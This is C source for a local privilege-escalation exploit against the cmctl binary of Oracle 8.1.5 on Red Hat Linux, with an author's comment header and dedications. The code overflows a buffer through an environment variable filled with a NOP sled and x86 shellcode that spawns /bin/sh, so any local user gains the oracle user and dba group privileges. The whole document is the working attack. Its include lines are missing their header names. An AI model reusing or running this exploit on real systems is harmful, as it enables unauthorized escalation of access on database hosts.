/* Exploit Code for cmctl in Oracle 8.1.5 (8i) for Linux. I tested in RH 6.2 and 6.1. Is possible to export to others platforms. If someone exports this to Sparc please tell me. synopsis: buffer overflow in cmctl Impact: any user gain euid=oracle and egid=dba. Dedicated to cmlc guys: juaroflin, oscar, ismak, blas, blackbas and others. Thanks for your patience and time. Special Thanks to my favourite DBA. Xavi "de verdad como sois" Morales. */ #include #include #define DEFAULT_OFFSET 1 #define DEFAULT_BUFFER_SIZE 350 #define NOP 0x90 #define BINARY "/usr/local/oracle8i/app/oracle/product/8.1.5/bin/cmctl echo $pakito" char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } main(int argc, char *argv[]) { char *buff, *ptr,*name[3],environ[100],binary[120]; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) offset = atoi(argv[1]); else { printf("Use ./cmctl_start Offset\n"); exit(1); } buff = malloc(bsize); addr = get_sp() - offset; ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; setenv("pakito",buff,1); system(BINARY); }